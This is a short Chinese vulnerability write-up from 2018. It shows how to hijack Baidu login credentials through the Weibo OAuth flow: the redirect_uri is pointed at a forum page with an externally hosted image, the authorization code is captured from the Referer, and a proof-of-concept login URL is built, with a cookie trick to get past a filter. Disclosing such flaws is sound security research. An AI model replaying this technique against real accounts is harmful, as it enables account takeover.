[关闭]
@1kbfree 2018-10-09T13:42:03.000000Z 字数 982 阅读 1094

百度第三方登陆(微博)劫持用户登录凭据

漏洞挖掘


1、打开Url:https://www.baidu.com/

image_1cn9f8ktg1aku1gvp1g2r1bi1dv726.png-79.5kB

2、点击登陆后来到如下啊Url

  1. https://api.weibo.com/oauth2/authorize?client_id=2512457640&response_type=code&redirect_uri=https%3A%2F%2Fpassport.baidu.com%2Fphoenix%2Faccount%2Fafterauth%3Fmkey%3Dphoenix2Wr8brm6JqFmSNRhBCANII0yb&forcelogin=1&state=1536842693&display=page&traceid=

注意①:这里的mkey为phoenix2Wr8brm6JqFmSNRhBCANII0yb

然后将redirect_uri的值修改为https://developer.baidu.com/forum/topic/show/292456?pageNo=1(这里面有我外链的图片,如下)

image_1cn9g1u2d1f9thbf1ahfktq15u3d.png-126.9kB

修改后的Url

  1. https://api.weibo.com/oauth2/authorize?client_id=2512457640&response_type=code&redirect_uri=https://developer.baidu.com/forum/topic/show/292456?pageNo=1&forcelogin=1&state=1536842693&display=page&traceid=

然后访问一下

image_1cn9fodmmslpchin8ck7nrdr30.png-121.6kB

3、查看外链的Referer

image_1cn9g978u1hl3nc91nc3o3j82r4q.png-173.5kB

获取的codec3425c10c896457a939c18fbd8d9eac6,然后我们将其构造为登陆的POC

4、构造POC

  1. https://passport.baidu.com/phoenix/account/afterauth?mkey=phoenix2Wr8brm6JqFmSNRhBCANII0yb&state=1536832610&code=c3425c10c896457a939c18fbd8d9eac6

5、然后访问一下POC

这里测试的时候发现怎么样都登陆不了,然后我研究了一下发现有过滤,但是可以绕过~ 往cookie里面加mkey然后值为Url中的mkey就可以了,如图

image_1cn9gg8higgn1j7eumvh50197s57.png-149.9kB

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注